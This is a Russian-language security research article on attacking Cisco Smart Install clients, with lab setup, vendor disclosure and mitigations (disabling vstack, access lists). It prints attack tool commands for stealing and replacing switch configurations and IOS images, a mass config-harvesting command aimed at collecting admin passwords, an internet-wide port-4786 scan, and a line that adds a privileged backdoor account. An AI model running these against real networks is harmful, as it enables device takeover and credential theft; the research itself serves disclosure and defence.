Cisco Smart Install. Изучаем технологию, ищем векторы атаки

Доброе время суток! Невозможно было даже себе предположить, что обычная «студенческая» тема, предложенная для летней стажировки в компании Digital Security, сможет вырасти в полноценное исследование безопасности.

О самой технологии, требованиям к оборудованию и т.п., конечно же, лучше всего почитать на сайте производителя:Cisco Smart Install.

Если в двух словах: «Smart Install представляет собой технологию, позволяющую автоматизировать процесс первоначальной настройки конфигурации и загрузки актуального образа операционной системы для нового сетевого коммутатора. Это означает, что новое оборудование, будучи извлеченным «из коробки», может быть сразу же установлено на свое постоянное место и все необходимые данные для его начальной работы будут доставлены по сети без участия администратора. В процессе работы технология обеспечивает так же резервное копирование конфигурации при ее изменении».

Соответственно, чтобы это все как-то работало, технология включена по умолчанию. Полный список устройств, где данная технология используется, можно увидеть на сайте производителя: Cisco Smart Install Supported devices.

Важно понимать, что все описанные ниже атаки буду касаться «Клиентов».

Первым делом, конечно же, необходимо воссоздать действующую модель инфраструктуры «Cisco Smart Install» и поначалу была уверенность, что это возможно сделать в «виртуальной» среде (gns3 – например), но после долгих безрезультатных поисков образа устройства с поддержкой Smart Install от этой идеи пришлось отказаться.

Здесь очень помог случай. В моем распоряжении совершенно случайно (один проект так и остался незавершенным) оказалось оборудование, подходящее для воссоздания тестовой среды для исследования технологии.

Схема и конфигурация тестовой среды

• «Director» (1) Cisco 2901 (CISCO2901/K9) 15.0(1r)M15
• «Director» (2) Cisco Catalyst 3750 (WS-C3750X-48P) 15.2(4)E2
• «Client1» Cisco Catalyst 2960 (WS-C2960-48TT-L) 15.0(2)SE10
• «Client2» Cisco Catalyst 2960S (WS-C2960S-48TS-L) 15.2(2a)E
• «TFTP-server» Desktop Windows 7 x64, TFTPd64
• «Console» Desktop Windows 7 x64, com1, PuTTy
• «Notebook» Notebook Windows 7 x64, CentOS 7 x64,WireShark (2.0.5)

Фрагмент конфигурации «Директора», касающийся Smart Install:

vstack group custom c2960Lan product-id
 image tftp://192.168.1.5/c2960-lanbasek9-tar.150-2.SE10.tar
 config tftp://192.168.1.5/c2960-lanbase_config.txt
 match WS-C2960-48TT-L		 			<- Group based on Product ID
vstack group custom c2960SLan product-id
 image tftp://192.168.1.5/c2960s-universalk9-tar.152-2a.E1.tar
 config tftp://192.168.1.5/c2960SLan_confg
 match WS-C2960S-48TS-L					<- Group based on Product ID
!
vstack dhcp-localserver LANPOOL
 address-pool 192.168.1.0 255.255.255.0
 file-server 192.168.1.5
 default-router 192.168.1.1
!
vstack director 192.168.1.1
vstack basic
vstack startup-vlan 1					
vstack backup file-server tftp://192.168.1.5/

Как видно из приведенной конфигурации, я использовал группировку устройств по Product ID.
После загрузки «Клиентов» и регистрации их на «Директоре» получаем такую картину:

Director# show vstack status
SmartInstall:  ENABLED
Device Status:   ACT - Active        INA - Inactive     PND - Pending Update
                 HLD - On-hold       DNY - Denied       NSI - Non Smart Install
Image Upgrade:   i - in progress     I - done           X - failed
Config Upgrade:  c - in progress     C - done           x - failed
Director Database:
DevNo  MAC Address     Product-ID         IP_addr          Hostname    Status
=====  ==============  =================  ===============  ==========  =========
0      fc99.4737.8660  CISCO2901/K9       192.168.1.1      Director.y  Director
1      a8b1.d464.2480  WS-C2960S-48TS-L   192.168.1.4      SW_EXT      ACT I C  <-“Clienr2"
2      d0c2.8279.1880  WS-C2960-48TT-L    192.168.1.2      LAN         ACT I C  <-“Client1"

Первые попытки

Почему-то каждый раз перед изучением какой-либо совершенно новой для меня темы в памяти всплывают строки из бессмертного произведения Льюиса Кэрролла «Алиса в стране чудес» когда Король просит Кролика прочитать стихи — главную улику на суде:

С чего начинать, ваше величество? — спросил Белый Кролик.

Начни с начала,- торжественно произнес Король,- и продолжай, пока не дойдешь до конца. Тогда остановись! (в переводе Бориса Заходера)

Попробую начать «с начала», т.е. просто посмотрю на систему со стороны.

Подключаю ноутбук в сеть «Директора» и получаю от него сетевые параметры по DHCP. Запускаю Wireshark и наблюдаю за сетевыми пакетами, которые приходят на сетевую карту.

Конечно же, ни чего интересного я не увидел. Здесь вновь вмешался случай: мне не понравилось, как проходит сетевой провод к «Клиенту 2». Отключив его, я проложил шнур «более качественно» и включил коммутатор.

При получении «Клиентом 2» сетевых параметров от «Директора» я наблюдаю широковещательный пакет – ответ на DHCP-запрос, который помимо сетевых настроек содержит специфические параметры для сети «Директора», в частности место расположения и имя резервной копии файла-конфигурации:

Практически за считанные минуты сформировался алгоритм эксплуатации найденной «уязвимости»:

• Сканируем сеть на предмет доступности порта “Smart Install” (tcp 4786).
• Формируем и отправляем широковещательный пакет — запрос сетевых параметров для найденных устройств (подставляем в DHCP-запрос MAC-адрес этого устройства):

  

• Принимаем широковещательный ответ от «Директора», содержащий информацию о месте расположения резервной копии конфигурации найденного устройства
• «Загружаем» файл конфигурации с TFTP-сервера себе на локальный диск.

Получается, что если удастся подключиться к сети с «работающим» Smart Install, то не составит особого труда собрать все резервные копии конфигураций «Клиентов», узнать топологию сети и, если повезет, получить пароль администратора сетевого оборудования.

Замена файла конфигурации устройства

Далее я решил собрать сетевые пакеты, отправляемые «Директором» для «Клиента», при наборе команд на принудительное обновление конфигурации и программного обеспечения.

Для того, чтобы «прослушивать» весь сетевой трафик на порту у Cisco есть великолепный инструмент: monitor session.

На «Директоре» настраиваю «зеркалирование» сетевого трафика с порта, к которому подключен «Клиент 1» на порт, к которому подключен Notebook:

monitor session 1 source interface FastEthernet0/1
monitor session 1 destination interface FastEthernet0/2

Запускаю Wireshark и наблюдаю за сетевыми пакетами, которые приходят на сетевую карту.
На «Директоре» последовательно даю команды на принудительное обновление конфигурации «Клиента 1»:

• #vstack download-config tftp://192.168.1.5/c2960Lan_confg 192.168.1.2 NONE startup — без перезагрузки устройства;
• #vstack download-config tftp://192.168.1.5/c2960Lan_confg 192.168.1.2 NONE startup reload — с немедленной перезагрузкой устройства;
• #vstack download-config tftp://192.168.1.5/c2960Lan_confg 192.168.1.2 NONE startup reload in 23:28 — с отложенной перезагрузкой устройства (на 23 часа 28 минут).

Если вы сравните синтаксис команды vstack download-config с командами, которые формирую я, вы обнаружите, что параметр «the password of the client switch» у меня — «NONE». В принципе здесь может быть любая последовательность символов, поскольку: «The password is required only for switches that are not Smart Install-capable. It is not required for switches already in the Smart Install network» — из описания на сайте Cisco.

Соответствующие сетевые пакеты:

Без особой надежды на успех средствами Python 2.7 с пакетом socket я попытался сформировать и отправить на «Клиента 1» с ноутбука аналогичные сетевые пакеты (ноутбук подключил к «обычному» порту «Директора» — без «зеркалирования»).

«Клиент 1» обработал команды также, как при получении их от «Директора»!

Получается, что на «Клиента» можно загрузить произвольный файл конфигурации и тем самым получить над ним полный контроль. Правда, текущая его конфигурация будет утеряна, поэтому пока это лишь – «отказ в обслуживании».

В процессе исследования стало очевидно, что необходимо написание инструмента, который бы осуществлял все атаки. В качестве языка был выбран Python. Результат выложен на гитхабе.

Для того чтобы заменить конфигурацию устройства, нужен файл конфигурации, если у вас такого нет, а попробовать хочется, утилита может создать дефолтный, с возможностью дальнейшего доступа по telnet.

sudo python siet.py -с -i 192.168.1.4

Замена образа IOS

Продолжая наблюдать за сетевыми пакетами, которыми обменивается директор и клиент. Возникла идея: если удалось заменить файл конфигурации устройства, почему бы не заметь всю IOS целиком. В протоколе для этого предусмотрены соответствующие возможности:

• # vstack download-image tar tftp://192.168.1.5/c2960-lanbasek9-tar.150-2.SE10.tar 192.168.1.2 NONE override reload — с немедленной перезагрузкой устройства;
• # vstack download-image tar tftp://192.168.1.5/c2960-lanbasek9-tar.150-2.SE10.tar 192.168.1.2 NONE override reload in 23:15 — с отложенной перезагрузкой устройства (на 23 часа 15 минут). — с отложенной перезагрузкой устройства (на 23 часа 15 минут).

Соответствующие сетевые пакеты:

Эксперимент с отправкой этих пакетов с ноутбука «Атакующего» завершился аналогично предыдущему — «Клиент 1» повел себя так же, если команды на обновление IOS поступили от «Директора».

И тут меня осенило, что совершенно не важно используете ли вы Smart Install, есть ли в вашей сети «Директоры» и «Клиенты». Команды протокола будут обрабатываться в любом случае.

Теоретически получается, что есть возможность подготовить образ IOS, наполненный всякими нужными нам «закладками», и «залить» его на сетевой коммутатор.

Попробовал таким образом обновить конфигурацию и IOS нового коммутатора Cisco 2960 «из коробки» — успешно.

Получается, что к командам на обновление конфигурации и программного обеспечения восприимчивы все устройства, подходящие под требования «Клиентов» Smart Install даже в отсутствии «Директора»!

Попробовать обновить образ можно командой:

sudo python siet.py –u –i 192.168.1.3

В процессе обновления будет запрошен файл с образом IOS. О том, как встроить свой шел код в прошивку IOS можно прочитать тут.

Похищение файлов конфигурации с устройств

На момент завершения работ, описанных ранее, мне казалось, что программа стажировки, в целом, выполнена. Предмет исследования изучен. Уязвимость найдена и успешно использована для несанкционированного доступа к сетевому коммутатору.

Однако, руководитель стажировки GrrrnDog (за что ему отдельное «спасибо») убедил в необходимости продолжения изучения протокола с целью найти возможность «взять» конфигурацию у устройства напрямую.

Меня заинтересовал момент в технологии «Smart Install», посвященный автоматическому созданию резервной копии устройства либо при записи конфигурации (команда write memory в консоли «Клиента»), либо при перезагрузке «Директора».

На консоли «Клиента 2» даю команду на запись конфигурации в энергонезависимую память (write memory).

Сетевой пакет от «Директора» на создание резервной копии конфигурации содержал в себе три команды «copy»:

сopy tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV2  to flash:SW_EXT-a8b1.d464.2480.tmp

сopy nvram:startup-config to tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV2

сopy flash:SW_EXT-a8b1.d464.2480.tmp to tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV1

Видно, что сохраняется также предыдущая резервная копия конфигурации.

Не избежал я соблазна вставить в сетевой пакет несколько другую последовательность команд, например, такую:

configure terminal
username cisco privilege 15 secret 0 cisco
exit

Но, к сожалению, кроме команд “copy” «Клиент» ничего не воспринимает. В процессе составления «однозначно рабочего» сетевого пакета выяснилось, что на «Клиентах» Cisco Catalyst с версией IOS выше 15.0, первой командой обязательно должна стоять команда копирования на flash.

В итоге, пакет, инициирующий на «Клиенте» передачу своей конфигурации на наш TFTP-сервер, состоит из двух команд:

copy nvram:startup-config flash:/config.text
copy nvram:startup-config tftp://192.168.1.5/client.conf

Таким образом, дело оставалось за малым, добавить в утилиту возможность отправки таких пакетов, что и было успешно сделано. Командой:

sudo python siet.py -g -i 192.168.0.4 

можно попытаться скопировать файл конфигурации на свое устройство, отредактировать его нужным образом (например добавив себя в администраторы) и применить его на удаленном устройстве.

После некоторого опыта эксплуатации, мы выяснили что иногда бывает полезно массово скопировать файлы конфигурации с большого количества устройств, с целью собрать максимально большое количество паролей привилегированных пользователей. К сожалению, первая версия утилиты делала это медленно и однопоточный tftp-сервер не справлялся с массовым наплывом файлов.

В утилиту была добавлена многопоточность, но пока она не до конца протестирована.

sudo python SIET2/siet2.1.py –l list.txt –g

где list.txt – файл со списком ip-адресов со открытым портом 4786. А дальше дело за grep.

Много ли Вас?

После обнаружения возможности не просто вызвать отказ в обслуживании, но и похитить конфигурацию устройства и в теории получить полный доступ над ним, решено было просканировать интернет с целью обнаружить, сколько можно встретить устройств в «дикой природе».

Так как простое сканирование по порту tcp 4786 не было бы до конца объективным («Директоры» также имеют этот порт), понадобился способ идентификации таких устройств.

Для этой цели отлично подходят «пробы» nmap (https://svn.nmap.org/nmap/nmap-service-probes) с помощью которых он определяет версии сервисов:

match cisco-smartinstall m|^x04x04x04x01| p/Cisco Switch Smart Install/ d/switch/ o/IOS/ cpe:/o:cisco:ios/a

Дальше дело за малым, организовать сканирование Интернета и отправлять на обнаруженные устройства пробы, и записывать ответ. Здесь нам на помощь приходит zmap в сочетании с zgrab:

zmap -r 10000 -p 4786 -o - | ./zgrab -timeout=10 -port=4786 -data probe.txt -output-file=banners.json

В результате было найдено 251801 устройство. Но, к сожалению, данный результат сложно назвать точным, так как нет уверенности, что данная проба nmap подходит для всех устройств. Устройств с открытым портом 4786 было найдено около 9 млн., но большая часть – это роутеры и не подвержены данным атакам.

Выполнение команд на устройстве

После осознания открытых нами возможностей, было принято решение рассказать о проделанной работе на конференции, посвященной вопросам информационной безопасности, ZeroNight 2016.
В процессе подготовки доклада к конференции я вновь посетил страницу на сайте Cisco с описанием технологии «Smart Install» и обнаружил, что разработчики добавили новый функционал – возможность указание команд консоли, которые необходимо выполнить после успешной инициализации нового устройства в сети «Smart Install». Эти команды оформляются в виде файла, т.н. «post install script».

Пример такого файла (приведен на сайте Cisco):

"sdm prefer degault"
"vlan 12" "name TEST" "exit"

Очевидно, что каждая строка в файле – это последовательность команд, набранных после входа в режим конфигурирования терминала на коммутаторе (configure terminal). На эту мысль наталкивает присутствие «exit» в конце второй строки.

Для исследования этого нового функционала пришлось взять в качестве «Директора» Cisco Catalyst 3750 (WS-C3750X-48P), IOS 15.2 (4) E2. Конфигурация была скопирована со старого «Директора», а в секцию настроек группы «c2960SLan» добавил строку:

script tftp://192.168.1.5/c2960-lanbase_post_install.txt

Формирую файл – «post install script»:

c2960-lanbase_post_install.txt:
		"interface GigabitEthernet1/0/1" "desc TEST" "exit"
		"username ccc privilege 15 secret 0 cisco" "exit“

«Очищаю» конфигурацию «Клиента 2» (команда write erase) и перезагружаю его. Вместе с уже известным нам процессом обновления IOS и загрузкой типовой конфигурации происходит считывание содержимого файла c2960-lanbase_post_install.txt и выполнение, записанных в нем команд.

Сетевой пакет, получаемый «Клиентом 2» от «Директора», выглядит так:

Выяснилось, что для загрузки и выполнения команд из файла «Клиенту» достаточно передать в сетевом пакете только информацию о месте расположения этого файла (остальное заполняется «нулями»).

Очень эффектно смотрится «фокус», когда мы пытаемся безуспешно авторизоваться на устройстве под пользователем ccc, но после отправки нашего сетевого пакета «Клиенту», внезапно авторизация «проходит».

Обнаруженные ограничения:

• версия IOS «Клиента» только выше или равна 15.2 (на 15.0 — уже не работает);
• коммутатор сможет принять только один такой пакет до следующей перезагрузки;
• нельзя в скрипт включать команду сохранения конфигурации («do-exec wr») – аварийная перезагрузка.

Пути защиты

На мой взгляд, самым простым способ решения этой проблемы, будет добавление «железного тумблера» включающего функционал протокола при необходимости. Таким образом, не будет нарушена концепция «Zero-Touch Installation». Те же, кто не пользуются возможностями протокола, не поставят под угрозу свои устройства.

Для уже выпущенных устройств, нужно отключить Smart Install, если он не используется. Сделать это можно командой no vstack в консоли устройства. После этого, вывод команды show vstack config должен стать примерно следующий:

switch#show vstack config 
  Role: Client (SmartInstall disabled)  
  Vstack Director IP address: 0.0.0.0

Все-таки, грамотное применение технологии Cisco Smart Install позволяет достаточно эффективно управлять сетевым оборудованием, состоящим из большого числа устройств. Особенно эта эффективность проявляется при управлении сетью, распределенной по разным зданиям и даже регионам.

Практически на 100 % обезопасить себя от описанных выше атак возможно, включив в типовые конфигурации оборудования настройки списков доступа (access-list), в которых однозначно указываются ip-адреса «Директоров», с которых возможно принимать сетевые пакеты на порт Smart Install (tcp 4786).

Приведу пример такой конфигурации «Клиента» для тестовой среды, описанной в данной статье:

interface Vlan1
 ip address dhcp
 ip access-group 101 in
!
access-list 101 permit tcp host 192.168.1.1 192.168.1.0 0.0.0.255 eq 4786
access-list 101 permit tcp any any neq 4786
access-list 101 permit udp any any
access-list 101 deny   ip any any
! 

Реакция вендора

После сообщения в компанию Cisco о найденных проблемах. Мы получили ответ примерно следующего содержания:

After thorough analysis and internal discussion we have, however, determined that this is not a vulnerability
in Cisco IOS, IOS XE, or the Smart Install feature itself, but the misuse of legitimate capabilities of the Smart Install protocol, that does not require authentication by design.

Компания обновила информацию о протоколе на своем сайте, добавив туда раздел, предупреждающий пользователя о возможной опасности.

А спустя 3 месяца, выразили благодарность за исследование и публично, еще раз, сообщили о проблеме.

Послесловие и благодарности

Данная публикация является результатом нашей совместной работы с sabotaged. Именно им написан весь материал по эксплуатации найденных уязвимостей.

Повторюсь, но особую благодарность хочу выразить руководителю стажировки GrrrnDog, без которого не было бы ни этой темы, ни этого исследования, ни, конечно же, этой статьи.

Автор: dimakuzn

Источник